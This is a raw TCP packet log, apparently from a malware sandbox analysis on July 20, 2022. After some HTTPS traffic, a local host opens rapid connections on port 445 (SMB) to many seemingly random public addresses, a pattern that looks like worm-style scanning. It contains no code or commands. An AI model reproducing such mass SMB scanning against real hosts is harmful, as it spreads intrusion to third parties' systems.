Jul 20, 2022 19:29:55.091083050 CEST	49723	443	192.168.2.7	20.31.108.18
Jul 20, 2022 19:29:55.137461901 CEST	49722	443	192.168.2.7	20.31.108.18
Jul 20, 2022 19:29:55.137520075 CEST	443	49722	20.31.108.18	192.168.2.7
Jul 20, 2022 19:29:55.137809992 CEST	443	49722	20.31.108.18	192.168.2.7
Jul 20, 2022 19:29:55.137903929 CEST	49722	443	192.168.2.7	20.31.108.18
Jul 20, 2022 19:29:55.140866995 CEST	49722	443	192.168.2.7	20.31.108.18
Jul 20, 2022 19:29:55.141426086 CEST	49723	443	192.168.2.7	20.31.108.18
Jul 20, 2022 19:29:55.141468048 CEST	443	49723	20.31.108.18	192.168.2.7
Jul 20, 2022 19:29:55.141729116 CEST	443	49723	20.31.108.18	192.168.2.7
Jul 20, 2022 19:29:55.141757011 CEST	49723	443	192.168.2.7	20.31.108.18
Jul 20, 2022 19:29:55.141793966 CEST	49723	443	192.168.2.7	20.31.108.18
Jul 20, 2022 19:29:55.184494972 CEST	443	49723	20.31.108.18	192.168.2.7
Jul 20, 2022 19:29:55.184509993 CEST	443	49722	20.31.108.18	192.168.2.7
Jul 20, 2022 19:29:55.256942987 CEST	443	49723	20.31.108.18	192.168.2.7
Jul 20, 2022 19:29:55.256999969 CEST	443	49723	20.31.108.18	192.168.2.7
Jul 20, 2022 19:29:55.257118940 CEST	49723	443	192.168.2.7	20.31.108.18
Jul 20, 2022 19:29:55.257149935 CEST	49723	443	192.168.2.7	20.31.108.18
Jul 20, 2022 19:29:55.258373976 CEST	49723	443	192.168.2.7	20.31.108.18
Jul 20, 2022 19:29:55.258409023 CEST	443	49723	20.31.108.18	192.168.2.7
Jul 20, 2022 19:29:55.317006111 CEST	443	49722	20.31.108.18	192.168.2.7
Jul 20, 2022 19:29:55.317056894 CEST	443	49722	20.31.108.18	192.168.2.7
Jul 20, 2022 19:29:55.317142963 CEST	49722	443	192.168.2.7	20.31.108.18
Jul 20, 2022 19:29:55.317159891 CEST	443	49722	20.31.108.18	192.168.2.7
Jul 20, 2022 19:29:55.317162037 CEST	49722	443	192.168.2.7	20.31.108.18
Jul 20, 2022 19:29:55.317241907 CEST	49722	443	192.168.2.7	20.31.108.18
Jul 20, 2022 19:29:55.317255974 CEST	443	49722	20.31.108.18	192.168.2.7
Jul 20, 2022 19:29:55.317317963 CEST	49722	443	192.168.2.7	20.31.108.18
Jul 20, 2022 19:29:55.343350887 CEST	443	49722	20.31.108.18	192.168.2.7
Jul 20, 2022 19:29:55.343379021 CEST	443	49722	20.31.108.18	192.168.2.7
Jul 20, 2022 19:29:55.343521118 CEST	443	49722	20.31.108.18	192.168.2.7
Jul 20, 2022 19:29:55.343570948 CEST	49722	443	192.168.2.7	20.31.108.18
Jul 20, 2022 19:29:55.343621969 CEST	443	49722	20.31.108.18	192.168.2.7
Jul 20, 2022 19:29:55.343646049 CEST	49722	443	192.168.2.7	20.31.108.18
Jul 20, 2022 19:29:55.343652964 CEST	49722	443	192.168.2.7	20.31.108.18
Jul 20, 2022 19:29:55.343712091 CEST	49722	443	192.168.2.7	20.31.108.18
Jul 20, 2022 19:29:55.373656988 CEST	443	49722	20.31.108.18	192.168.2.7
Jul 20, 2022 19:29:55.373820066 CEST	443	49722	20.31.108.18	192.168.2.7
Jul 20, 2022 19:29:55.373823881 CEST	49722	443	192.168.2.7	20.31.108.18
Jul 20, 2022 19:29:55.373888969 CEST	49722	443	192.168.2.7	20.31.108.18
Jul 20, 2022 19:29:55.374897957 CEST	49722	443	192.168.2.7	20.31.108.18
Jul 20, 2022 19:29:55.374927998 CEST	443	49722	20.31.108.18	192.168.2.7
Jul 20, 2022 19:29:56.116369009 CEST	49717	443	192.168.2.7	131.253.33.200
Jul 20, 2022 19:29:56.116496086 CEST	49717	443	192.168.2.7	131.253.33.200
Jul 20, 2022 19:29:56.116554976 CEST	49717	443	192.168.2.7	131.253.33.200
Jul 20, 2022 19:29:56.116602898 CEST	49717	443	192.168.2.7	131.253.33.200
Jul 20, 2022 19:29:56.116647005 CEST	49717	443	192.168.2.7	131.253.33.200
Jul 20, 2022 19:29:56.116678953 CEST	49717	443	192.168.2.7	131.253.33.200
Jul 20, 2022 19:29:56.116695881 CEST	49717	443	192.168.2.7	131.253.33.200
Jul 20, 2022 19:29:56.116741896 CEST	49717	443	192.168.2.7	131.253.33.200
Jul 20, 2022 19:29:56.116756916 CEST	49717	443	192.168.2.7	131.253.33.200
Jul 20, 2022 19:29:56.116767883 CEST	49717	443	192.168.2.7	131.253.33.200
Jul 20, 2022 19:29:56.142352104 CEST	443	49717	131.253.33.200	192.168.2.7
Jul 20, 2022 19:29:56.142746925 CEST	443	49717	131.253.33.200	192.168.2.7
Jul 20, 2022 19:29:56.142779112 CEST	443	49717	131.253.33.200	192.168.2.7
Jul 20, 2022 19:29:56.142806053 CEST	443	49717	131.253.33.200	192.168.2.7
Jul 20, 2022 19:29:56.142832994 CEST	443	49717	131.253.33.200	192.168.2.7
Jul 20, 2022 19:29:56.142860889 CEST	443	49717	131.253.33.200	192.168.2.7
Jul 20, 2022 19:29:56.142887115 CEST	443	49717	131.253.33.200	192.168.2.7
Jul 20, 2022 19:29:56.142914057 CEST	443	49717	131.253.33.200	192.168.2.7
Jul 20, 2022 19:29:56.142942905 CEST	443	49717	131.253.33.200	192.168.2.7
Jul 20, 2022 19:29:56.143167019 CEST	443	49717	131.253.33.200	192.168.2.7
Jul 20, 2022 19:29:56.143193960 CEST	443	49717	131.253.33.200	192.168.2.7
Jul 20, 2022 19:29:56.143320084 CEST	443	49717	131.253.33.200	192.168.2.7
Jul 20, 2022 19:29:56.143349886 CEST	443	49717	131.253.33.200	192.168.2.7
Jul 20, 2022 19:29:56.143377066 CEST	443	49717	131.253.33.200	192.168.2.7
Jul 20, 2022 19:29:56.143402100 CEST	443	49717	131.253.33.200	192.168.2.7
Jul 20, 2022 19:29:56.143429995 CEST	443	49717	131.253.33.200	192.168.2.7
Jul 20, 2022 19:29:56.143457890 CEST	443	49717	131.253.33.200	192.168.2.7
Jul 20, 2022 19:29:56.143484116 CEST	443	49717	131.253.33.200	192.168.2.7
Jul 20, 2022 19:29:56.143513918 CEST	443	49717	131.253.33.200	192.168.2.7
Jul 20, 2022 19:29:56.143541098 CEST	443	49717	131.253.33.200	192.168.2.7
Jul 20, 2022 19:29:56.143585920 CEST	443	49717	131.253.33.200	192.168.2.7
Jul 20, 2022 19:29:56.143614054 CEST	443	49717	131.253.33.200	192.168.2.7
Jul 20, 2022 19:29:56.143933058 CEST	443	49717	131.253.33.200	192.168.2.7
Jul 20, 2022 19:29:56.144650936 CEST	443	49717	131.253.33.200	192.168.2.7
Jul 20, 2022 19:29:56.144685030 CEST	443	49717	131.253.33.200	192.168.2.7
Jul 20, 2022 19:29:56.144712925 CEST	443	49717	131.253.33.200	192.168.2.7
Jul 20, 2022 19:29:56.144748926 CEST	443	49717	131.253.33.200	192.168.2.7
Jul 20, 2022 19:29:56.144788980 CEST	443	49717	131.253.33.200	192.168.2.7
Jul 20, 2022 19:29:56.144824028 CEST	443	49717	131.253.33.200	192.168.2.7
Jul 20, 2022 19:29:56.144865036 CEST	443	49717	131.253.33.200	192.168.2.7
Jul 20, 2022 19:29:56.144911051 CEST	49717	443	192.168.2.7	131.253.33.200
Jul 20, 2022 19:29:56.144925117 CEST	443	49717	131.253.33.200	192.168.2.7
Jul 20, 2022 19:29:56.144961119 CEST	443	49717	131.253.33.200	192.168.2.7
Jul 20, 2022 19:29:56.144989967 CEST	443	49717	131.253.33.200	192.168.2.7
Jul 20, 2022 19:29:56.145028114 CEST	443	49717	131.253.33.200	192.168.2.7
Jul 20, 2022 19:29:56.145066977 CEST	443	49717	131.253.33.200	192.168.2.7
Jul 20, 2022 19:29:56.145107031 CEST	443	49717	131.253.33.200	192.168.2.7
Jul 20, 2022 19:29:56.145138025 CEST	443	49717	131.253.33.200	192.168.2.7
Jul 20, 2022 19:29:56.145164967 CEST	443	49717	131.253.33.200	192.168.2.7
Jul 20, 2022 19:29:56.145191908 CEST	443	49717	131.253.33.200	192.168.2.7
Jul 20, 2022 19:29:56.145217896 CEST	443	49717	131.253.33.200	192.168.2.7
Jul 20, 2022 19:29:56.145245075 CEST	443	49717	131.253.33.200	192.168.2.7
Jul 20, 2022 19:29:56.145272970 CEST	443	49717	131.253.33.200	192.168.2.7
Jul 20, 2022 19:29:56.145298958 CEST	443	49717	131.253.33.200	192.168.2.7
Jul 20, 2022 19:29:56.145325899 CEST	443	49717	131.253.33.200	192.168.2.7
Jul 20, 2022 19:29:56.145351887 CEST	443	49717	131.253.33.200	192.168.2.7
Jul 20, 2022 19:29:56.145378113 CEST	443	49717	131.253.33.200	192.168.2.7
Jul 20, 2022 19:29:56.145405054 CEST	443	49717	131.253.33.200	192.168.2.7
Jul 20, 2022 19:29:56.145431042 CEST	443	49717	131.253.33.200	192.168.2.7
Jul 20, 2022 19:29:56.145457983 CEST	443	49717	131.253.33.200	192.168.2.7
Jul 20, 2022 19:29:56.145478010 CEST	49717	443	192.168.2.7	131.253.33.200
Jul 20, 2022 19:29:56.145487070 CEST	443	49717	131.253.33.200	192.168.2.7
Jul 20, 2022 19:29:56.145517111 CEST	443	49717	131.253.33.200	192.168.2.7
Jul 20, 2022 19:29:56.145544052 CEST	443	49717	131.253.33.200	192.168.2.7
Jul 20, 2022 19:29:56.145570993 CEST	443	49717	131.253.33.200	192.168.2.7
Jul 20, 2022 19:29:56.145596027 CEST	443	49717	131.253.33.200	192.168.2.7
Jul 20, 2022 19:29:56.145622015 CEST	443	49717	131.253.33.200	192.168.2.7
Jul 20, 2022 19:29:56.145648956 CEST	443	49717	131.253.33.200	192.168.2.7
Jul 20, 2022 19:29:56.145674944 CEST	443	49717	131.253.33.200	192.168.2.7
Jul 20, 2022 19:29:56.145704031 CEST	443	49717	131.253.33.200	192.168.2.7
Jul 20, 2022 19:29:56.188378096 CEST	443	49717	131.253.33.200	192.168.2.7
Jul 20, 2022 19:29:56.188527107 CEST	49717	443	192.168.2.7	131.253.33.200
Jul 20, 2022 19:30:06.078917027 CEST	49751	443	192.168.2.7	20.190.160.132
Jul 20, 2022 19:30:06.078968048 CEST	443	49751	20.190.160.132	192.168.2.7
Jul 20, 2022 19:30:06.079092026 CEST	49751	443	192.168.2.7	20.190.160.132
Jul 20, 2022 19:30:06.079888105 CEST	49751	443	192.168.2.7	20.190.160.132
Jul 20, 2022 19:30:06.079916000 CEST	443	49751	20.190.160.132	192.168.2.7
Jul 20, 2022 19:30:12.714224100 CEST	49761	445	192.168.2.7	209.87.184.8
Jul 20, 2022 19:30:13.835356951 CEST	49775	445	192.168.2.7	167.234.200.252
Jul 20, 2022 19:30:14.709008932 CEST	49783	445	192.168.2.7	56.27.34.29
Jul 20, 2022 19:30:14.954165936 CEST	49786	445	192.168.2.7	112.52.186.172
Jul 20, 2022 19:30:15.829252958 CEST	49794	445	192.168.2.7	199.106.65.167
Jul 20, 2022 19:30:16.082915068 CEST	49799	445	192.168.2.7	195.196.254.10
Jul 20, 2022 19:30:16.806701899 CEST	49804	445	192.168.2.7	132.244.220.8
Jul 20, 2022 19:30:16.991386890 CEST	49807	445	192.168.2.7	208.117.159.100
Jul 20, 2022 19:30:17.208693981 CEST	49810	445	192.168.2.7	18.59.217.118
Jul 20, 2022 19:30:18.873306990 CEST	49817	445	192.168.2.7	99.147.0.50
Jul 20, 2022 19:30:18.874211073 CEST	49818	445	192.168.2.7	167.37.125.148
Jul 20, 2022 19:30:18.875039101 CEST	49819	445	192.168.2.7	177.150.214.227
Jul 20, 2022 19:30:18.976346970 CEST	49821	445	192.168.2.7	94.199.139.172
Jul 20, 2022 19:30:21.485048056 CEST	49829	445	192.168.2.7	133.11.241.160
Jul 20, 2022 19:30:21.600250959 CEST	49830	445	192.168.2.7	73.32.85.175
Jul 20, 2022 19:30:21.601171017 CEST	49831	445	192.168.2.7	202.117.203.231
Jul 20, 2022 19:30:21.602447033 CEST	49833	445	192.168.2.7	175.166.187.133
Jul 20, 2022 19:30:21.602480888 CEST	49832	445	192.168.2.7	137.44.216.48
Jul 20, 2022 19:30:22.666560888 CEST	49845	445	192.168.2.7	81.167.115.207
Jul 20, 2022 19:30:22.795093060 CEST	49848	445	192.168.2.7	54.69.237.166
Jul 20, 2022 19:30:22.795857906 CEST	49849	445	192.168.2.7	35.2.116.83
Jul 20, 2022 19:30:22.796910048 CEST	49851	445	192.168.2.7	15.2.209.98
Jul 20, 2022 19:30:22.796941042 CEST	49850	445	192.168.2.7	61.138.104.119
Jul 20, 2022 19:30:23.488034010 CEST	49860	445	192.168.2.7	47.21.105.65
Jul 20, 2022 19:30:23.782752991 CEST	49864	445	192.168.2.7	180.210.133.231
Jul 20, 2022 19:30:23.908339977 CEST	49867	445	192.168.2.7	120.92.45.152
Jul 20, 2022 19:30:23.908958912 CEST	49868	445	192.168.2.7	117.190.7.32
Jul 20, 2022 19:30:23.909470081 CEST	49869	445	192.168.2.7	69.92.1.146
Jul 20, 2022 19:30:23.909965992 CEST	49870	445	192.168.2.7	18.234.72.5
Jul 20, 2022 19:30:24.612173080 CEST	49877	445	192.168.2.7	80.3.131.210
Jul 20, 2022 19:30:24.907877922 CEST	49882	445	192.168.2.7	132.151.50.49
Jul 20, 2022 19:30:25.034111023 CEST	49885	445	192.168.2.7	114.76.46.59
Jul 20, 2022 19:30:25.034857988 CEST	49886	445	192.168.2.7	55.12.86.145
Jul 20, 2022 19:30:25.035593033 CEST	49887	445	192.168.2.7	148.151.171.207
Jul 20, 2022 19:30:25.036370039 CEST	49888	445	192.168.2.7	59.55.143.36
Jul 20, 2022 19:30:25.527347088 CEST	49893	445	192.168.2.7	209.203.199.122
Jul 20, 2022 19:30:25.736552954 CEST	49895	445	192.168.2.7	165.187.190.32
Jul 20, 2022 19:30:26.033437967 CEST	49900	445	192.168.2.7	62.208.72.190
Jul 20, 2022 19:30:26.158857107 CEST	49903	445	192.168.2.7	159.173.165.196
Jul 20, 2022 19:30:26.173691988 CEST	49904	445	192.168.2.7	155.104.218.155
Jul 20, 2022 19:30:26.174478054 CEST	49905	445	192.168.2.7	126.17.222.131
Jul 20, 2022 19:30:26.175246000 CEST	49906	445	192.168.2.7	101.38.254.201
Jul 20, 2022 19:30:26.642693043 CEST	49911	445	192.168.2.7	134.250.63.174
Jul 20, 2022 19:30:26.861627102 CEST	49914	445	192.168.2.7	6.36.106.33
Jul 20, 2022 19:30:27.158236980 CEST	49919	445	192.168.2.7	100.84.8.64
Jul 20, 2022 19:30:27.287039042 CEST	49922	445	192.168.2.7	174.231.230.210
Jul 20, 2022 19:30:27.298676014 CEST	49924	445	192.168.2.7	167.207.232.47
Jul 20, 2022 19:30:27.299354076 CEST	49925	445	192.168.2.7	175.71.218.246
Jul 20, 2022 19:30:27.541640043 CEST	49927	445	192.168.2.7	187.216.135.182
Jul 20, 2022 19:30:27.939287901 CEST	49929	445	192.168.2.7	26.28.0.110
Jul 20, 2022 19:30:28.047708035 CEST	49932	445	192.168.2.7	96.135.178.17
Jul 20, 2022 19:30:28.283127069 CEST	49937	445	192.168.2.7	78.227.72.16
Jul 20, 2022 19:30:28.407999039 CEST	49939	445	192.168.2.7	56.160.79.254
Jul 20, 2022 19:30:28.423655987 CEST	49940	445	192.168.2.7	105.170.28.203
Jul 20, 2022 19:30:28.435851097 CEST	49941	445	192.168.2.7	214.195.236.28
Jul 20, 2022 19:30:28.436362028 CEST	49943	445	192.168.2.7	195.91.222.170
Jul 20, 2022 19:30:28.494518995 CEST	445	49943	195.91.222.170	192.168.2.7
Jul 20, 2022 19:30:28.663839102 CEST	49947	445	192.168.2.7	21.94.56.249
Jul 20, 2022 19:30:29.095000982 CEST	49943	445	192.168.2.7	195.91.222.170
Jul 20, 2022 19:30:29.151659012 CEST	445	49943	195.91.222.170	192.168.2.7
Jul 20, 2022 19:30:29.174901009 CEST	49952	445	192.168.2.7	102.62.53.223
Jul 20, 2022 19:30:29.409326077 CEST	49957	445	192.168.2.7	61.159.177.100
Jul 20, 2022 19:30:29.546053886 CEST	49959	445	192.168.2.7	175.44.202.143
Jul 20, 2022 19:30:29.552381039 CEST	49961	445	192.168.2.7	99.211.177.224
Jul 20, 2022 19:30:29.565022945 CEST	49962	445	192.168.2.7	191.83.232.252
Jul 20, 2022 19:30:29.565592051 CEST	49963	445	192.168.2.7	120.122.127.210
Jul 20, 2022 19:30:29.566220045 CEST	49964	445	192.168.2.7	74.75.248.214
Jul 20, 2022 19:30:29.783112049 CEST	49967	445	192.168.2.7	212.136.120.201
Jul 20, 2022 19:30:30.189548016 CEST	49969	445	192.168.2.7	18.186.240.7
Jul 20, 2022 19:30:30.299037933 CEST	49971	445	192.168.2.7	16.74.25.66
Jul 20, 2022 19:30:30.559829950 CEST	49974	445	192.168.2.7	90.190.195.233
Jul 20, 2022 19:30:30.665585041 CEST	49976	445	192.168.2.7	18.219.24.211
Jul 20, 2022 19:30:30.676688910 CEST	49977	445	192.168.2.7	185.170.91.218
Jul 20, 2022 19:30:30.689964056 CEST	49979	445	192.168.2.7	159.34.14.9
Jul 20, 2022 19:30:30.691068888 CEST	49980	445	192.168.2.7	187.30.21.193
Jul 20, 2022 19:30:30.692101002 CEST	49981	445	192.168.2.7	46.167.119.209
Jul 20, 2022 19:30:30.908636093 CEST	49985	445	192.168.2.7	75.194.121.150
Jul 20, 2022 19:30:31.329021931 CEST	49990	445	192.168.2.7	179.58.212.69
Jul 20, 2022 19:30:31.449188948 CEST	49991	445	192.168.2.7	133.97.42.36
Jul 20, 2022 19:30:31.584489107 CEST	49994	445	192.168.2.7	48.102.123.104
Jul 20, 2022 19:30:31.674807072 CEST	49996	445	192.168.2.7	43.168.78.18
Jul 20, 2022 19:30:31.788849115 CEST	49999	445	192.168.2.7	217.172.236.77
Jul 20, 2022 19:30:31.799598932 CEST	50000	445	192.168.2.7	71.191.221.227
Jul 20, 2022 19:30:31.815932989 CEST	50001	445	192.168.2.7	55.214.37.161
Jul 20, 2022 19:30:31.816181898 CEST	50002	445	192.168.2.7	180.224.185.102
Jul 20, 2022 19:30:31.816349983 CEST	50003	445	192.168.2.7	136.2.125.211
Jul 20, 2022 19:30:32.034194946 CEST	50007	445	192.168.2.7	209.33.1.31
Jul 20, 2022 19:30:32.503668070 CEST	50011	445	192.168.2.7	223.111.196.49
Jul 20, 2022 19:30:32.566494942 CEST	50012	445	192.168.2.7	60.44.205.252
Jul 20, 2022 19:30:32.723531008 CEST	50015	445	192.168.2.7	109.2.184.146
Jul 20, 2022 19:30:32.803442001 CEST	50018	445	192.168.2.7	160.48.58.209
Jul 20, 2022 19:30:32.941940069 CEST	50021	445	192.168.2.7	96.47.235.71
Jul 20, 2022 19:30:32.943033934 CEST	50022	445	192.168.2.7	188.104.155.52
Jul 20, 2022 19:30:32.958340883 CEST	50024	445	192.168.2.7	27.160.54.2
Jul 20, 2022 19:30:32.972523928 CEST	50025	445	192.168.2.7	2.227.141.213
Jul 20, 2022 19:30:32.973262072 CEST	50026	445	192.168.2.7	30.203.40.75
Jul 20, 2022 19:30:33.160598040 CEST	50028	445	192.168.2.7	210.71.203.168
Jul 20, 2022 19:30:33.597722054 CEST	50032	445	192.168.2.7	96.239.86.137
Jul 20, 2022 19:30:33.627743959 CEST	50034	445	192.168.2.7	173.248.61.54
Jul 20, 2022 19:30:33.689780951 CEST	50036	445	192.168.2.7	6.9.54.143
Jul 20, 2022 19:30:33.846381903 CEST	50039	445	192.168.2.7	140.225.101.104
Jul 20, 2022 19:30:33.924433947 CEST	50041	445	192.168.2.7	22.253.198.226
Jul 20, 2022 19:30:34.068561077 CEST	50044	445	192.168.2.7	57.179.0.164
Jul 20, 2022 19:30:34.069292068 CEST	50045	445	192.168.2.7	185.178.186.61
Jul 20, 2022 19:30:34.080323935 CEST	50047	445	192.168.2.7	40.170.11.72
Jul 20, 2022 19:30:34.081034899 CEST	50048	445	192.168.2.7	216.128.87.208
Jul 20, 2022 19:30:34.081752062 CEST	50049	445	192.168.2.7	183.178.216.111
Jul 20, 2022 19:30:34.103615999 CEST	445	50045	185.178.186.61	192.168.2.7
Jul 20, 2022 19:30:34.297413111 CEST	50050	445	192.168.2.7	110.69.115.14
Jul 20, 2022 19:30:34.689055920 CEST	50045	445	192.168.2.7	185.178.186.61
Jul 20, 2022 19:30:34.721390963 CEST	50055	445	192.168.2.7	169.137.242.148
Jul 20, 2022 19:30:34.723361015 CEST	445	50045	185.178.186.61	192.168.2.7
Jul 20, 2022 19:30:34.783736944 CEST	50056	445	192.168.2.7	77.241.26.99
Jul 20, 2022 19:30:34.815686941 CEST	50058	445	192.168.2.7	129.176.76.78
Jul 20, 2022 19:30:35.036885977 CEST	50060	445	192.168.2.7	184.45.254.119
Jul 20, 2022 19:30:35.054846048 CEST	50062	445	192.168.2.7	150.240.248.111
Jul 20, 2022 19:30:35.189980984 CEST	50064	445	192.168.2.7	98.42.123.74
Jul 20, 2022 19:30:35.190820932 CEST	50065	445	192.168.2.7	126.184.139.104
Jul 20, 2022 19:30:35.205501080 CEST	50067	445	192.168.2.7	162.203.206.235
Jul 20, 2022 19:30:35.206031084 CEST	50068	445	192.168.2.7	60.81.172.6
Jul 20, 2022 19:30:35.206739902 CEST	50069	445	192.168.2.7	196.163.168.110
Jul 20, 2022 19:30:35.408404112 CEST	50073	445	192.168.2.7	174.228.143.116
Jul 20, 2022 19:30:35.653992891 CEST	50076	445	192.168.2.7	95.185.174.182
Jul 20, 2022 19:30:35.740108967 CEST	49751	443	192.168.2.7	20.190.160.132
Jul 20, 2022 19:30:35.825078011 CEST	50078	443	192.168.2.7	20.190.159.71
Jul 20, 2022 19:30:35.825118065 CEST	443	50078	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:35.825205088 CEST	50078	443	192.168.2.7	20.190.159.71
Jul 20, 2022 19:30:35.825619936 CEST	50078	443	192.168.2.7	20.190.159.71
Jul 20, 2022 19:30:35.825634003 CEST	443	50078	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:35.847054958 CEST	50079	445	192.168.2.7	84.159.100.55
Jul 20, 2022 19:30:35.908507109 CEST	50081	445	192.168.2.7	97.184.184.234
Jul 20, 2022 19:30:35.940431118 CEST	50082	445	192.168.2.7	204.185.8.96
Jul 20, 2022 19:30:35.979865074 CEST	443	50078	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:35.979975939 CEST	50078	443	192.168.2.7	20.190.159.71
Jul 20, 2022 19:30:35.981543064 CEST	443	50078	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:35.982934952 CEST	50078	443	192.168.2.7	20.190.159.71
Jul 20, 2022 19:30:36.029556990 CEST	50078	443	192.168.2.7	20.190.159.71
Jul 20, 2022 19:30:36.029576063 CEST	443	50078	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:36.029968977 CEST	443	50078	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:36.030750990 CEST	50078	443	192.168.2.7	20.190.159.71
Jul 20, 2022 19:30:36.030796051 CEST	50078	443	192.168.2.7	20.190.159.71
Jul 20, 2022 19:30:36.030837059 CEST	443	50078	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:36.159063101 CEST	50085	445	192.168.2.7	141.213.190.54
Jul 20, 2022 19:30:36.175371885 CEST	50086	445	192.168.2.7	41.138.117.65
Jul 20, 2022 19:30:36.216198921 CEST	443	50078	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:36.216238976 CEST	443	50078	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:36.216283083 CEST	443	50078	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:36.216373920 CEST	443	50078	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:36.216406107 CEST	50078	443	192.168.2.7	20.190.159.71
Jul 20, 2022 19:30:36.216418982 CEST	50078	443	192.168.2.7	20.190.159.71
Jul 20, 2022 19:30:36.218050003 CEST	50078	443	192.168.2.7	20.190.159.71
Jul 20, 2022 19:30:36.222775936 CEST	50078	443	192.168.2.7	20.190.159.71
Jul 20, 2022 19:30:36.222800970 CEST	443	50078	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:36.222815037 CEST	50078	443	192.168.2.7	20.190.159.71
Jul 20, 2022 19:30:36.222825050 CEST	443	50078	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:36.311706066 CEST	50089	443	192.168.2.7	20.190.159.71
Jul 20, 2022 19:30:36.311745882 CEST	443	50089	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:36.311866999 CEST	50089	443	192.168.2.7	20.190.159.71
Jul 20, 2022 19:30:36.312367916 CEST	50089	443	192.168.2.7	20.190.159.71
Jul 20, 2022 19:30:36.312382936 CEST	443	50089	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:36.317187071 CEST	50090	445	192.168.2.7	50.193.140.36
Jul 20, 2022 19:30:36.318042994 CEST	50091	445	192.168.2.7	11.70.100.122
Jul 20, 2022 19:30:36.330640078 CEST	50092	445	192.168.2.7	19.37.44.252
Jul 20, 2022 19:30:36.331868887 CEST	50093	445	192.168.2.7	179.33.247.222
Jul 20, 2022 19:30:36.332443953 CEST	50094	445	192.168.2.7	213.7.182.243
Jul 20, 2022 19:30:36.348764896 CEST	50096	443	192.168.2.7	20.190.159.68
Jul 20, 2022 19:30:36.348798990 CEST	443	50096	20.190.159.68	192.168.2.7
Jul 20, 2022 19:30:36.348877907 CEST	50096	443	192.168.2.7	20.190.159.68
Jul 20, 2022 19:30:36.349303007 CEST	50096	443	192.168.2.7	20.190.159.68
Jul 20, 2022 19:30:36.349317074 CEST	443	50096	20.190.159.68	192.168.2.7
Jul 20, 2022 19:30:36.446712971 CEST	443	50089	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:36.447700977 CEST	50089	443	192.168.2.7	20.190.159.71
Jul 20, 2022 19:30:36.447716951 CEST	443	50089	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:36.449103117 CEST	50089	443	192.168.2.7	20.190.159.71
Jul 20, 2022 19:30:36.449120045 CEST	443	50089	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:36.449443102 CEST	50089	443	192.168.2.7	20.190.159.71
Jul 20, 2022 19:30:36.449455976 CEST	443	50089	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:36.498157978 CEST	443	50096	20.190.159.68	192.168.2.7
Jul 20, 2022 19:30:36.498260975 CEST	50096	443	192.168.2.7	20.190.159.68
Jul 20, 2022 19:30:36.499716043 CEST	443	50096	20.190.159.68	192.168.2.7
Jul 20, 2022 19:30:36.499814034 CEST	50096	443	192.168.2.7	20.190.159.68
Jul 20, 2022 19:30:36.510142088 CEST	50096	443	192.168.2.7	20.190.159.68
Jul 20, 2022 19:30:36.510160923 CEST	443	50096	20.190.159.68	192.168.2.7
Jul 20, 2022 19:30:36.510539055 CEST	443	50096	20.190.159.68	192.168.2.7
Jul 20, 2022 19:30:36.511269093 CEST	50096	443	192.168.2.7	20.190.159.68
Jul 20, 2022 19:30:36.511341095 CEST	50096	443	192.168.2.7	20.190.159.68
Jul 20, 2022 19:30:36.511368990 CEST	443	50096	20.190.159.68	192.168.2.7
Jul 20, 2022 19:30:36.533719063 CEST	50100	445	192.168.2.7	165.17.160.30
Jul 20, 2022 19:30:36.613751888 CEST	443	50089	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:36.613789082 CEST	443	50089	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:36.613822937 CEST	443	50089	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:36.613893986 CEST	443	50089	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:36.613929987 CEST	50089	443	192.168.2.7	20.190.159.71
Jul 20, 2022 19:30:36.614025116 CEST	50089	443	192.168.2.7	20.190.159.71
Jul 20, 2022 19:30:36.616585970 CEST	50089	443	192.168.2.7	20.190.159.71
Jul 20, 2022 19:30:36.616607904 CEST	443	50089	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:36.616621017 CEST	50089	443	192.168.2.7	20.190.159.71
Jul 20, 2022 19:30:36.616628885 CEST	443	50089	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:36.680093050 CEST	443	50096	20.190.159.68	192.168.2.7
Jul 20, 2022 19:30:36.680124998 CEST	443	50096	20.190.159.68	192.168.2.7
Jul 20, 2022 19:30:36.680171967 CEST	443	50096	20.190.159.68	192.168.2.7
Jul 20, 2022 19:30:36.680205107 CEST	443	50096	20.190.159.68	192.168.2.7
Jul 20, 2022 19:30:36.680227041 CEST	50096	443	192.168.2.7	20.190.159.68
Jul 20, 2022 19:30:36.680294037 CEST	50096	443	192.168.2.7	20.190.159.68
Jul 20, 2022 19:30:36.706574917 CEST	50096	443	192.168.2.7	20.190.159.68
Jul 20, 2022 19:30:36.706604958 CEST	443	50096	20.190.159.68	192.168.2.7
Jul 20, 2022 19:30:36.706634998 CEST	50096	443	192.168.2.7	20.190.159.68
Jul 20, 2022 19:30:36.706643105 CEST	443	50096	20.190.159.68	192.168.2.7
Jul 20, 2022 19:30:36.758141041 CEST	50102	443	192.168.2.7	20.190.159.71
Jul 20, 2022 19:30:36.758177042 CEST	443	50102	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:36.762212038 CEST	50102	443	192.168.2.7	20.190.159.71
Jul 20, 2022 19:30:36.777592897 CEST	50103	445	192.168.2.7	163.250.55.9
Jul 20, 2022 19:30:36.781296015 CEST	50104	443	192.168.2.7	20.190.159.71
Jul 20, 2022 19:30:36.781348944 CEST	443	50104	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:36.781517982 CEST	50104	443	192.168.2.7	20.190.159.71
